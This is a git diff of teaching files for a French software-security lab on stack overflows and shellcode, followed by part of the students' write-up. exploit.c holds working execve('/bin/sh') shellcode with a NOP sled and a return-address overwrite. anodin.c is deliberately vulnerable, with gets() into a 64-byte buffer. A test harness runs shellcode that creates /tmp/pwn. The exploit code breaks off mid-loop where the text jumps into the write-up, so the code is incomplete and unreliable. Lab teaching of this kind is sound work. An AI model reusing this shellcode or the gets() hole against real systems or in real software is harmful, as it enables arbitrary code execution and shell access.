diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/Makefile b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/Makefile new file mode 100644 index 0000000..8dd34dd --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/Makefile @@ -0,0 +1,44 @@ +# CC = gcc +CFLAGS = -g -zexecstack +SFLASG = +SRC = $(wildcard *.c) $(wildcard *.s) +TGT = $(subst .c,,$(subst. .S,,$(SRC))) +BUILD_DIR = build +DUMP_DIR = dump + + +pframe: + curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ + tar -xf pframe.tgz &&\ + rm -rf pframe.tgz + +.gdbinit: + +configure: pframe .gdbinit + $(shell echo "python import pframe" > .gdbinit) + +$(BUILD_DIR)/%: %.c + $(shell mkdir -p $(BUILD_DIR)) + $(CC) $(CFLAGS) -o $@ $< + +$(BUILD_DIR)/%: %.S + $(shell mkdir -p $(BUILD_DIR)) + $(CC) -g $< -o $@ -static -nostdlib + +build: $(addprefix $(BUILD_DIR)/, $(TGT)) + +PHONY: gdb +gdb: build/shellcode configure + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \ + setarch -R gdb ./$(BUILD_DIR)/shellcode + +PHONY: opcode +opcode: build/shellcode + readelf -x .text build/shellcode | sed -e '$$ d' -e '1,2 d' \ + | awk '{$$1=$$6=""; print $$0}' \ + | tr -d '[ \n]' \ + | sed 's/../0x&,/g' > opcode.txt + +PHONY: clean +clean: + @rm -rf $(BUILD_DIR) pframe .gdbinit opcode.txt diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/anodin.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/anodin.c new file mode 100644 index 0000000..54a048b --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/anodin.c @@ -0,0 +1,23 @@ +#include +#include +#include +#include + +int litentier(void) { + unsigned char buf[64]; + int i; + printf("%p\n", buf); + printf("> "); + fflush(stdout); + gets(buf); + i=atoi(buf); + return i; +} + +int main(int argc, char *argv[]) { + while (1) { + int i; + i = litentier(); + printf("ok %d\n", i); + } +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit-test.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit-test.c new file mode 100644 index 0000000..4170a7b --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit-test.c @@ -0,0 +1,10 @@ +int main() { +unsigned char shellcode[] = { + 0xe8,0x09,0x00,0x00,0x00,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x00, + 0x5f,0x48,0xc7,0xc6,0xb6,0x01,0x00,0x00,0x48,0xc7,0xc0,0x55,0x00,0x00, + 0x00,0x0f,0x05,0xc3,0x48,0xc7,0xc7,0x2a,0x00,0x00,0x00,0x48,0xc7,0xc0, + 0x3c,0x00,0x00,0x00,0x0f,0x05 +}; +(*(void(*)()) shellcode)(); +return 0; +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit.c new file mode 100644 index 0000000..8895bbf --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit.c @@ -0,0 +1,62 @@ +#include +#include + + +unsigned char exploit[1024] = { + 0x90, 0x90, 0x90, 0x90, // A few nops for some margin + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + +#ifdef __x86_64__ + /* 64 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5f, // pop the address + 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x48, 0x89, 0xe2, // envp + 0x57, // push adress + 0x48, 0x89, 0xe6, // argv + 0x0f, 0x05, // system call! +#else + /* 32 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5b, // pop the adress + 0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x89, 0xe2, // envp + 0x53, // push adress + 0x89, 0xe1, // argv + 0xcd, 0x80, // system call! +#endif +}; + +int main(void) { + int i; + void **exploit_ptr = (void*) &exploit; + void *ptr; + + fprintf(stderr,"Type the buf address printed by anodin\n"); + scanf("%p", &ptr); + + // Un peu de marge + ptr += 8; + + // écraser l'adresse de retour + for (i = 0; i < 8; i++) + exploit_ptr[64/sizeof(void*)+i] = ptr; + + for (i=0;i: + 401000: 48 c7 c6 b6 01 00 00 mov $0x1b6,%rsi + 401007: 48 c7 c7 00 20 40 00 mov $0x402000,%rdi + 40100e: 48 c7 c0 55 00 00 00 mov $0x55,%rax + 401015: 0f 05 syscall + 401017: 48 c7 c7 2a 00 00 00 mov $0x2a,%rdi + 40101e: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax + 401025: 0f 05 syscall +``` + +Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes** +avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt` +prêt à importer dans notre code `C`. + +Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0 +par `objdump`. Et en plus on évite les erreurs de saisie. + +Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa +compilation et son execution, le fichier `/tmp/pwn` est bien créé. +